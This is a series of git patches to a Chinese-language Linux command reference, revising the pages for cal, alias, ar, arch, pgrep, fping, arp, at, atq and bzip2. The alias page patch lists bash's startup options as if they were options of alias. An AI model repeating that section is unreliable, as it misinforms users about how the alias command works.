+天在这项改革被略去了, 所以那个月的日历有点不太寻常. + ### 语法 ```shell @@ -33,15 +41,6 @@ cal [ -mjy ] [ 月份 ] [ 年份 ] ### 实例 -一个单一的参数指定要显示的年份 (1 - 9999) ; 注意年份必须被完全地指定: cal 89 不会 显示1989年的日历. 两个参数表示月份 (1 - 12) 和年份. 如果没有指定参数, -则显示当前月份的日历. - -一年从Jan 1 (1 月 1 日) 开始. - -格里高利历法改革(Gregorian Reformation)被认为发生于 1752 年 9 月 3 日. 在此之前, 多数国家已经认可这项改革(尽管有一些直到 20 世纪初才认可它). 那天之后的 10 -天在这项改革被略去了, 所以那个月的日历有点不太寻常. - - 单独执行cal命令会打印出日历： ```shell From 2a1aafbe4407ffee4bba69799757b518e0024e37 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Tue, 14 May 2019 01:31:39 +0800 Subject: [PATCH 0022/1019] Update alias.md --- command/alias.md | 58 +++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 55 insertions(+), 3 deletions(-) diff --git a/command/alias.md b/command/alias.md index 300a43989f4..4b0d59be3ff 100644 --- a/command/alias.md +++ b/command/alias.md @@ -11,14 +11,66 @@ alias命令的作用只局限于该次登入的操作。若要每次登入都能 ### 语法 -``` +```shell alias(选项)(参数) ``` ### 选项 -``` --p：打印已经设置的命令别名。 +```shell +-c string 如果有 -c 选项，那么命令将从 string 中读取。如果 string 后面有参数 (argument)，它们将用于给位置参数 (positional + parameter，以 $0 起始) 赋值。 +-i 如果有 -i 选项，shell 将交互地执行 ( interactive )。 +-l 选项使得 bash 以类似登录 shell (login shell) 的方式启动 (参见下面的 启动(INVOCATION) 章节)。 +-r 如果有 -r 选项，shell 成为受限的 ( restricted ) (参见下面的 受限的shell(RESTRICTED SHELL) 章节)。 +-s 如果有 -s 选项，或者如果选项处理完以后，没有参数剩余，那么命令将从标准输入读取。 这个选项允许在启动一个交互 + shell 时可以设置位置参数。 +-D 向标准输出打印一个以 $ 为前导的，以双引号引用的字符串列表。 这是在当前语言环境不是 C 或 POSIX + 时，脚本中需要翻译的字符串。 这个选项隐含了 -n 选项；不会执行命令。 +[-+]O [shopt_option] + shopt_option 是一个 shopt 内建命令可接受的选项 (参见下面的 shell 内建命令(SHELL BUILTIN COMMANDS) 章节)。 + 如果有 shopt_option，-O 将设置那个选项的取值； +O 取消它。 如果没有给出 shopt_option，shopt + 将在标准输出上打印设为允许的选项的名称和值。 如果启动选项是 +O，输出将以一种可以重用为输入的格式显示。 +-- -- 标志选项的结束，禁止其余的选项处理。任何 -- 之后的参数将作为文件名和参数对待。参数 - 与此等价。 + +Bash 也解释一些多字节的选项。在命令行中，这些选项必须置于需要被识别的单字符参数之前。 + +--dump-po-strings + 等价于 -D，但是输出是 GNU gettext po (可移植对象) 文件格式 +--dump-strings + 等价于 -D +--help 在标准输出显示用法信息并成功退出 +--init-file file +--rcfile file + 如果 shell 是交互的，执行 file 中的命令，而不是标准的个人初始化文件 ~/.bashrc (参见下面的 启动(INVOCATION) 章节) + +--login + 等价于 -l + +--noediting + 如果 shell 是交互的，不使用 GNU readline 库来读命令行 + +--noprofile + 不读取系统范围的启动文件 /etc/profile 或者任何个人初始化文件 ~/.bash_profile, ~/.bash_login, 或 ~/.profile + 。默认情况下， bash 在作为登录 shell 启动时读取这些文件 (参见下面的 启动(INVOCATION) 章节) + +--norc 如果 shell 是交互的，不读取/执行个人初始化文件 ~/.bashrc 这个选项在 shell 以 sh 命令启动时是默认启用的 + +--posix + 如果默认操作与 POSIX 1003.2 标准不同的话，改变 bash 的行为来符合标准 (posix mode) + +--restricted + shell 成为受限的 (参见下面的 受限的shell(RESTRICTED SHELL) 章节) + +--rpm-requires + 产生一个为使脚本运行，需要的文件的列表。 这个选项包含了 -n 选项。 它是为了避免进行编译期错误检测时的限制－－ Back‐ + ticks, [] tests, 还有 evals 不会被解释，一些依赖关系可能丢失 + +--verbose + 等价于 -v + +--version + 在标准输出显示此 bash 的版本信息并成功退出。 ``` ### 参数 From 803676bfbf7dcdf9edbc9ee60b75f2c3ce1c938e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Tue, 14 May 2019 01:35:50 +0800 Subject: [PATCH 0023/1019] Update ar.md --- command/ar.md | 116 +++++++++++++++++++++++++++++++++++++------------- 1 file changed, 86 insertions(+), 30 deletions(-) diff --git a/command/ar.md b/command/ar.md index d309168256f..eea17b65975 100644 --- a/command/ar.md +++ b/command/ar.md @@ -9,43 +9,99 @@ ar ### 语法 -``` -ab(选项)(参数) +```shell +ar [-]{dmpqrtx}[abcfilNoPsSuvV] [membername] [count] archive files... Usage: ar [emulation options] [-]{dmpqrstx}[abcDfilMNoPsSTuvV] [--plugin ] [member-name] [count] archive-file file... ar -M [ - 从读取选项 ---target=BFDNAME - 将目标对象格式指定为BFDNAME +ar 允许你 在第一个 命令行 参数中 以任意 顺序 混合 指定 操作码p 和修饰符mod . + +只要你 愿意, 也可以 用破折号 作为 命令行 第一个 参数的 开始. + +p 关键字 指明 要执行的 操作, 只能 指明为 如下 之一: + +d 从档案中删除 模块. 通过files 指明 要删除的 模块的 名称; 如果 没有 指出 要删除的 文件 名称, 档案不会 改变 任何 + 内容. + + 如果 给出了'v' 修饰符,ar 会例出 它删除的 每一个 模块. + +m 用此 操作 在档案中移动 成员. + 如果 某个 符号名 在档案的 多个 成员中 有定义, 那么 程序 怎样 连接 档案 文件 得到的 结果 可能是 不同的. + 如果 没有为m 指定 修饰符, 由files 指出的 成员 将移动到 档案的末尾 ; 可以 通过 `a', `b' 或 `i' 等修饰符, 指定 成员 + 移动的 具体 位置. + +p 在标准 输出上 打印 档案中 指定的 成员. 如果 给出了`v' 修饰符, 在 打印 成员 内容 之前, 先打印 成员的 名字. + 如果没有 指明files 参数, 档案中 所有的 成员 都会被 打印 出来. + +q 快速 追加; 增加 files 到 archive 的末尾, 不进行 替换 检查. + 修饰符 `a' `b' 和 `i'不 影响此 操作, 新成员 始终 追加到 档案的 末尾处. + 修饰符 `v' 可以使 ar 列出 它追加的 所有文件. + 由于 本功能 是用于 快速操作, 即使 档案中 有 符号表 索引 也不 进行 更新; 可以 使用 `ar s' 或 ranlib 明确 要求 更新 + 这些索引. + + 在为快速 追加 重建 索引时,由于 有 太多 不同的 系统, 所以 GNU ar 采用 `q' 作为 `r'的一个 同义字. + +r 把文件 files 插入 archive ( 替换 ). 本操作与 `q' 是不同的, 如果 档案中 已有的 某个 成员与 插入 文件的 名称 相同, + 此成员 将被删除. + 如果 不存在 名称为 files 的文件, ar 显示 一个 错误 消息, 并且 保留 档案中 已有的 同名 成员. + 缺省情况下, 新成员 增加到 挡案的 末尾; 可以 通过 使用 `a' `b' 或 `i' 等修饰符 指定 相对于 已有 成员的 位置. + 通过 使用 `v' 修饰符 会为每个 插入的 文件 产生 一行 输出, 根据 输出中的 字符 `a' 或 `r' 可以 表明 该文件 是追加的 + (没有 删除 以前的成员) 还是 替换的. + +t 显示 一个 archive 档案 所包含 内容的 列表 , 或 档案中的 由 files 指出的 文件 列表. 通常 只显示 成员的 名称, 如果 + 使用 `v' 修饰符, 可以 得到 成员的 权限, 时间属性, 属主, 组和 大小. + + 如果 没有 指出 files, 档案中的 所有 文件 都会 列出. + + 如果 档案中 (称为 `b.a') 有多个 同名 成员 (称为 `fie'), `ar t b.a fie' 仅仅 列出 第一个; 要看到 它们的 全部, 必须 + 要求 完整的 列表 —在本例中是 `ar t b.a'. + +x 从档案中 抽取 成员 (名称为 files) . 如果 使用 `v' 修饰符, ar 会列出 它抽取的 每一个 文件的 名字. + 如果没有给出 files, 抽取 档案中 所有的 文件. + +可以在 操作符 p 后紧随 一定数量的 修饰符 mod 以指明 操作的 各种 行为. + +a 增加 文件到 档案中 已有 成员 之后 , 如果 使用了 修饰符 a, 必须在 档案 名称 archive 之前 以 membername 参数的 形式 + 给出 档案中 已有 成员的 名字. + +b 增加 文件到 档案中 已有 成员 之前 , 如果 使用了 修饰符 b, 必须在 档案 名称 archive 之前 以 membername 参数的 形式 + 给出 档案中 已有 成员的 名字. (和修饰符 `i' 相同). + +c 建立 档案. 指定的 档案 archive 始终 会被建立, 如果 你要求 执行的是 更新, 通过 此修饰符 建立 档案时 会给出 一个 + 警告. + +f 截短 档案成员的 名字. ar 通常 允许 任意 长度的 文件名, 但这会 导致 与某些 系统上的 ar 出现 兼容性 问题, 使用 f + 修饰符 可以 在往档案中 追加 文件时 把名字 截短. + +i 插入 文件到 档案中 已有 成员 之前 , 如果 使用了 修饰符 i, 必须在 档案 名称 archive 之前 以 membername 参数的 形式 + 给出 档案中 已有 成员的 名字. (与修饰符 `b' 相同). + +l 接受此修饰符, 但不起作用. + +N 使用 count 参数. 本修饰符 用于 在档案中 有多个 同名 成员的 情况. 删除 或抽取 档案中 给定 名字的第 count 个实例. + +o 抽取 成员时 保留 他们 原始的 时间属性. 如果 没有 此修饰符, 文件以抽取 的时间 作为 它的时间 属性. + +P 匹配 档案中的 名字时 使用 完整的 路径名. ar 不能 建立 使用 完整 路径名的 档案 (这不符合 POSIX 标准), 但其它的 + 档案 工具 能够建立, 本选项 会使 ar 在抽取 由其它 工具 建立的 档案 文件时, 使用完整的 路径名 去匹配 档案中 成员的 + 名字. + +s 即使 没有对 档案 进行 改变, 用本 修饰符 也可以 往档案中 写一个 目标 文件的 索引 或更新 已经 存在的 索引. 可以与 + 其它 操作 一起 使用 本修饰符, 也可以 单独使用. 对一个 档案 执行 `ar s' 与执行 `ranlib' 等价. + +S 不生成 档案的 符号表. 这可以 加速 建立 大的档案 文件的 过程,但这样 建立的 档案 不能被 连接器 使用, 为建立 符号表, + 在最后 执行 `ar' 时应该 不用 `S' 修饰符, 或者 对档案 执行 一次 `ranlib' . + +u 通常ar r... 把所有 列出的 文件 插入到 档案中, 如果 希望 仅仅 插入比 档案中 已有 成员 更新的 文件时, 就应该 使用 + 此修饰符. `u' 修饰符 仅允许 与 `r' (替换) 操作 一起 使用. 某些 情况下, 由于 用 `q' 操作 比较 文件的 时间属性 + 会失去 速度上的 优势, 所以 不允许 执行 `qu' 组合操作. + +v 使用本修饰符可以进行 冗余的 操作。附加了此修饰符时，很多操作会显示 更多的消息，如处理的文件名等。 +V 显示 ar 的版本号。 ``` 选项参数 From 4989f7c632900329847bfec899a4983c739200be Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Tue, 14 May 2019 01:38:15 +0800 Subject: [PATCH 0024/1019] Update arch.md --- command/arch.md | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/command/arch.md b/command/arch.md index 75cd9fbe1b4..208dc7b0b58 100644 --- a/command/arch.md +++ b/command/arch.md @@ -10,7 +10,14 @@ arch ### 语法 ```shell -arch +arch [选项]... +``` + +### 选项 + +```shell +--help 显示此帮助信息并退出 +--version 显示版本信息并退出 ``` ### 实例 @@ -21,4 +28,4 @@ x86_64 ``` - \ No newline at end of file + From a7d95115668df483165df88ab5fcba6ecef34307 Mon Sep 17 00:00:00 2001 From: ZhuangZhu-74 <49544524+ZhuangZhu-74@users.noreply.github.com> Date: Tue, 14 May 2019 11:41:46 +0800 Subject: [PATCH 0025/1019] Update pgrep.md (#104) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 修改了pgrep的描述信息 --- command/pgrep.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/pgrep.md b/command/pgrep.md index 3e008aa6666..a6e3fc7845e 100644 --- a/command/pgrep.md +++ b/command/pgrep.md @@ -1,7 +1,7 @@ pgrep === -设置用户的认证信息，包括用户密码、密码过期时间等 +根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID） ## 补充说明 @@ -58,4 +58,4 @@ pgrep -lo httpd ``` - \ No newline at end of file + From 59470dc99641498809ea0e431983b54555c943dd Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Tue, 14 May 2019 22:44:02 +0800 Subject: [PATCH 0026/1019] Add fping command (#105) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * 修改107行的g全局作用 g不应该是匹配每一行的第一个匹配项，而是每一行的所有匹配项 * 增加修改用户家目录的选项以及实例 增加修改用户家目录的选项以及实例 * 添加fping新命令 * Update fping.md --- command/fping.md | 79 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 command/fping.md diff --git a/command/fping.md b/command/fping.md new file mode 100644 index 00000000000..86ee56665e7 --- /dev/null +++ b/command/fping.md @@ -0,0 +1,79 @@ +fping +=== + +fping检测主机是否存在 + +## 补充说明 + +**fping命令** fping类似于ping，但比ping强大。与ping要等待某一主机连接超时或发回反馈信息不同，fping给一个主机发送完数据包后，马上给下一个主机发送数据包，实现多主机同时ping，fping还可以在命令行中指定要ping的主机数量范围。 + +### 语法 + +```shell +fping(选项)(参数) +``` + +### 选项 + +```shell +-a # 显示存活的主机 +-b # ping 数据包的大小。（默认为56） +-c # ping每个目标的次数 (默认为1) +-f # 从文件获取目标列表(不能与 -g 同时使用) +-l # 循环发送ping +-g # 通过指定开始和结束地址来生成目标列表,可以使网段 +-u # 显示不可到达的目标 +``` + +### 实例 + +安装fping命令： + +```shell +# 先安装epel源： +yum install epel* -y +# 安装fping包： +yum install fping -y +``` + +选择性ping指定ip： + +```shell +~]# fping 192.168.0.1 192.168.0.125 192.168.0.126 2>/dev/null +192.168.0.1 is alive +192.168.0.125 is alive +192.168.0.126 is unreachable +``` + +ping整个网段： + +```bash +~]# fping -g 192.168.0.0/24 2>/dev/null +192.168.0.1 is alive +192.168.0.103 is alive +... +192.168.0.253 is unreachable +192.168.0.254 is unreachable +``` + +ping整个网段，只显示存活的主机： + +```shell +~]# fping -ag 192.168.0.0/24 2>/dev/null +192.168.0.1 +192.168.0.103 +... +``` + +ping某一段ip： + +```shell +~]# fping -ag 192.168.0.5 192.168.0.130 2>/dev/null +192.168.0.103 +... +192.168.0.125 +192.168.0.130 +``` + + + From 08343014e047d3ba894ef05da6afc2d2c7adff43 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Wed, 15 May 2019 09:25:20 +0800 Subject: [PATCH 0027/1019] Update arp.md --- command/arp.md | 34 ++++++++++++++++++++++++---------- 1 file changed, 24 insertions(+), 10 deletions(-) diff --git a/command/arp.md b/command/arp.md index 542d4b46a31..9cc8ac6126b 100644 --- a/command/arp.md +++ b/command/arp.md @@ -7,6 +7,18 @@ arp 命令用于显示和修改 IP 到 MAC 转换表。 **arp 命令** 是 Address Resolution Protocol，地址解析协议，是通过解析网络层地址来找寻数据链路层地址的一个网络协议包中极其重要的网络传输协议。而该命令可以显示和修改 arp 协议解析表中的缓冲数据。 +这个核心协议模块实现RFC826中定义的 Address Resolution Protocol [译注：即TCP/IP的第三层到第一层的地址转换协议]，用于在直接相连的网络中换第二层硬件地址和 Ipv4 协议地址之间的转换。 用户除非想对其进行配置，否则一般不会直接操作这个模块。 + +实际上，它提供对核心中其它协议的服务。 + +用户进程可以使用 packet(7) 的 sockets，收到 ARP 包（译注：一译分组）。 还有一种机制是使用 netlink(7) sockets，在用户空间管理 ARP 缓存的机制。我们也可以通过 ioctl (2) 控制任意 PF_INET socket上的 ARP 表 + +ARP 模块维护一个硬件地址到协议地址映射的缓存。这个缓存有大小限制，所以不常用的和旧的记录（Entry）将被垃圾收集器清除（garbage-collected），垃圾收集器永远不能删除标为永久的记录。我们可以使用ioctls直接操纵缓冲， 并且其性状可以用下面定义的 sysctl 调节。 + +如果在限定的时间（见下面的sysctl）内，一条现存映射没有肯定反馈时， 则认为相邻层的缓存记录失效。 为了再次向目标发送数据，ARP将首先试着询问本地arp进程 app_solicit 次，获取更新了的 MAC（介质访问控制）地址。 如果失败，并且旧的MAC地址是已知的，则发送 ucast_solicit 次的 unicast probe。如果仍然失败，则将向网络广播一个新的ARP请求,此时要 有待发送数据的队列 + +如果 Linux 接到一个地址请求，而且该地址指向 Linux 转发的地址，并且接收接口打开了代理 arp 时，Linux 将自动添加一条非永久的代理 arp 记录；如果存在拒绝到目标的路由，则不添加代理 arp 记录。 + ### 语法 ```shell @@ -15,16 +27,18 @@ arp（选项）（参数） ### 选项 - -a 主机 ：显示 arp 缓冲区的所有条目； - -H 地址类型 ：指定 arp 指令使用的地址类型； - -d 主机 ：从 arp 缓冲区中删除指定主机的 arp 条目； - -D：使用指定接口的硬件地址； - -e：以 Linux 的显示风格显示 arp 缓冲区中的条目； - -i 接口 ：指定要操作 arp 缓冲区的网络接口； - -s 主机 MAC 地址 ：设置指定的主机的 IP 地址与 MAC 地址的静态映射； - -n：以数字方式显示 arp 缓冲区中的条目； - -v：显示详细的 arp 缓冲区条目，包括缓冲区条目的统计信息； - -f 文件 ：设置主机的 IP 地址与 MAC 地址的静态映射。 +```shell +-a # 主机 ：显示 arp 缓冲区的所有条目； +-H # 地址类型 ：指定 arp 指令使用的地址类型； +-d # 主机 ：从 arp 缓冲区中删除指定主机的 arp 条目； +-D # 使用指定接口的硬件地址； +-e # 以 Linux 的显示风格显示 arp 缓冲区中的条目； +-i # 接口 ：指定要操作 arp 缓冲区的网络接口； +-s # 主机 MAC 地址 ：设置指定的主机的 IP 地址与 MAC 地址的静态映射； +-n # 以数字方式显示 arp 缓冲区中的条目； +-v # 显示详细的 arp 缓冲区条目，包括缓冲区条目的统计信息； +-f # 文件 ：设置主机的 IP 地址与 MAC 地址的静态映射。 +``` ### 参数 From 73d7e952aec2f8709e579edf4dd31c8a3b4c1e1c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Wed, 15 May 2019 09:37:43 +0800 Subject: [PATCH 0028/1019] Update at.md --- command/at.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/at.md b/command/at.md index a03a31beb89..da9fcedca7f 100644 --- a/command/at.md +++ b/command/at.md @@ -12,7 +12,7 @@ at ### 语法 ```shell -at(选项)(参数) +at [-V] [-q 队列] [-f 文件] [-mldbv] 时间 at -c 作业 [作业...] ``` ### 选项 @@ -81,4 +81,4 @@ date >/root/2013.log ``` - \ No newline at end of file + From b7c11553686e5bf8f78d0d15da62dab8b8047f5f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Wed, 15 May 2019 09:38:17 +0800 Subject: [PATCH 0029/1019] Update atq.md --- command/atq.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/atq.md b/command/atq.md index f21f517efbe..4b7cebb54e8 100644 --- a/command/atq.md +++ b/command/atq.md @@ -10,7 +10,7 @@ atq ### 语法 ```shell -atq(选项) +atq [-V] [-q 队列] [-v] ``` ### 选项 @@ -33,4 +33,4 @@ atq ``` - \ No newline at end of file + From 3bf10505fedc0a6be87d0a4488fbe065ef8e5019 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Wed, 15 May 2019 09:58:13 +0800 Subject: [PATCH 0030/1019] Update bzip2.md --- command/bzip2.md | 88 +++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 73 insertions(+), 15 deletions(-) diff --git a/command/bzip2.md b/command/bzip2.md index a9907091d3d..4a7d576b1b2 100644 --- a/command/bzip2.md +++ b/command/bzip2.md @@ -5,29 +5,87 @@ bzip2 ## 补充说明 -**bzip2命令** 用于创建和管理（包括解压缩）“.bz2”格式的压缩包。我们遇见Linux压缩打包方法有很多种，以下讲解了Linux压缩打包方法中的Linux bzip2命令的多种范例供大家查看，相信大家看完后会有很多收获。 +**bzip2命令** 用于创建和管理（包括解压缩）“.bz2”格式的压缩包。 + +bzip2 采用 Burrows-Wheeler 块排序文本压缩算法和 Huffman 编码方式压缩文件。 压缩率一般比基于 LZ77/LZ78 的压缩软件好得多，其性能接近 PPM 族统计类压缩软件。 + +命令行参数有意设计为非常接近 GNU gzip 的形式，但也不完全相同。 + +bzip2 从命令行读入文件名和参数。 每个文件被名为 "原始文件名.bz2" 的压缩文件替换。 每个压缩文件具有与原文件相同的修改时间、 权限， 如果可能的话，还具有相同的属主， 因此在解压缩时这些特性将正确地恢复。 在某些文件系统中， 没有权限、 属主或时间的概念， 或者对文件名的长度有严格限制， 例如 MSDOS，在这种情况下，bzip2 没有保持原文件名、 属主、 权限以及时间的机制， 从这个意义上说，bzip2 对文件名的处理是幼稚的。 + +bzip2 和 bunzip2 在缺省情况下不覆盖已有的文件。 如果想覆盖已有的文件，要指定 -f 选项。 + +如果未指定文件名， bzip2 将压缩来自标准输入的数据并写往标准输出。在这种情况下， bzip2 会拒绝将压缩结果写往终端，因为这完全无法理解并且是没有意义的。 + +bunzip2 (以及 bzip2 -d) 对所有指定的文件进行解压缩处理。不是由 bzip2 产生的文件将被忽略，同时发出一个警告信息。 bzip2 按下列方式由压缩文件名确定解压后的文件名： + +```shell +filename.bz2 解压成 filename +filename.bz 解压成 filename +filename.tbz2 解压成 filename.tar +filename.tbz 解压成 filename.tar +anyothername 解压成 anyothername.out +``` + +如果文件名的后缀不是下列之一： .bz2, .bz, .tbz2 或 .tbz, .bzip2 将抱怨无法确定原始文件名，并采用原文件名加 .out 作为解压缩文件名。 + +在压缩时，如果不提供文件名，bzip2 将从标准输入读取数据，压缩结果写往标准输出。 + +bzip2 采用 32 位 CRC 校验码作自我检查，以确认解压后的文件与原始文件相同。 这可用于检测压缩文件是否损坏，并防止 bzip2 中未知的缺陷（运气好的话这种可能性非常小）。 数据损坏而未检测到的几率非常之小， 对于每个被处理的文件大约是四十亿分之一。 检查是在解压缩时进行的，因此它只能说明某个地方出问题了。 它能帮助恢复原始未压缩的数据。可以用 bzip2recover 来尝试从损坏的文件中恢复数据。 + +返回值：正常退出返回 0， 出现环境问题返回 1 （文件未找到，非法的选项，I/O错误等）， 返回 2 表明压缩文件损坏，出现导致 bzip2 紧急退出的内部一致性错误（例如缺陷）时返回 3。 ### 语法 ```shell -bzip2(选项)(参数) +bzip2 [ -cdfkqstvzVL123456789 ] [ filenames ... ] ``` ### 选项 ```shell --c或——stdout：将压缩与解压缩的结果送到标准输出； --d或——decompress：执行解压缩； --f或-force：bzip2在压缩或解压缩时，若输出文件与现有文件同名，预设不会覆盖现有文件。若要覆盖。请使用此参数； --h或——help：在线帮助； --k或——keep：bzip2在压缩或解压缩后，会删除原始文件。若要保留原始文件，请使用此参数； --s或——small：降低程序执行时内存的使用量； --t或——test：测试.bz2压缩文件的完整性； --v或——verbose：压缩或解压缩文件时，显示详细的信息； --z或——compress：强制执行压缩； --V或——version：显示版本信息； ---repetitive-best：若文件中有重复出现的资料时，可利用此参数提高压缩效果； ---repetitive-fast：若文件中有重复出现的资料时，可利用此参数加快执行效果。 +-c --stdout + # 将数据压缩或解压缩至标准输出。 + +-d --decompress + # 强制解压缩。 bzip2, bunzip2 以及 bzcat 实际上是同一个程序，进行何种操作将根据程序名确定。 指定该选项后将不考虑这一机制，强制 bzip2 进行解压缩。 + +-z --compress + # -d 选项的补充：强制进行压缩操作，而不管执行的是哪个程序。 + +-t --test + # 检查指定文件的完整性，但并不对其解压缩。 实际上将对数据进行实验性的解压缩操作，而不输出结果。 + +-f --force + # 强制覆盖输出文件。通常 bzip2 不会覆盖已经存在的文件。该选项还强制 bzip2 打破文件的硬连接，缺省情况下 bzip2 不会这么做。 + +-k --keep + # 在压缩或解压缩时保留输入文件（不删除这些文件）。 + +-s --small + # 在压缩、解压缩及检查时减少内存用量。采用一种修正的算法进行压缩和测试，每个数据块仅需要 2.5 个字节。这意味着任何文件都可以在 2300k + # 的内存中进行解压缩， 尽管速度只有通常情况下的一半。 + + # 在压缩时，-s将选定 200k 的块长度，内存用量也限制在 200k 左右， 代价是压缩率会降低。 总之，如果机器的内存较少（8兆字节或更少）， + # 可对所有操作都采用-s选项。参见下面的内存管理。 + +-q --quiet + # 压制不重要的警告信息。属于 I/O 错误及其它严重事件的信息将不会被压制。 + +-v --verbose + # 详尽模式 -- 显示每个被处理文件的压缩率。 命令行中更多的 -v 选项将增加详细的程度， 使 bzip2 显示出许多主要用于诊断目的信息。 + +-L --license -V --version + # 显示软件版本，许可证条款及条件。 + +-1 to -9 + # 在压缩时将块长度设为 100 k、200 k .. 900 k。 对解压缩没有影响。参见下面的内存管理。 + +-- # 将所有后面的命令行变量看作文件名，即使这些变量以减号"-"打头。 可用这一选项处理以减号"-"打头的文件名， 例如：bzip2 -- -myfilename. + +--repetitive-fast --repetitive-best + # 这些选项在 0.9.5 及其以上版本中是多余的。 在较早的版本中，这两个选项对排序算法的行为提供了一些粗糙的控制，有些情况下很有用。 0.9.5 + # 及其以上版本采用了改进的算法而与这些选项无关。 ``` ### 参数 @@ -125,4 +183,4 @@ bzip2 -- -myfilename 这里主要是为了防止文件名中`-`产生以为是选项的歧义。 - \ No newline at end of file + From 8d77b1b5d8d124a0e570523402a2d35926a07d96 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 15 May 2019 10:22:55 +0800 Subject: [PATCH 0031/1019] released v1.2.7 --- dist/data.json | 2 +- package.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/dist/data.json b/dist/data.json index 2686ad345e7..bf0b0d512d9 100644 --- a/dist/data.json +++ b/dist/data.json @@ -1 +1 @@ -{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"用来设置指令的别名"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表。"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"用于将作业放到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"builtin":{"n":"builtin","p":"/builtin","d":"执行shell内部命令"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序。。"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"b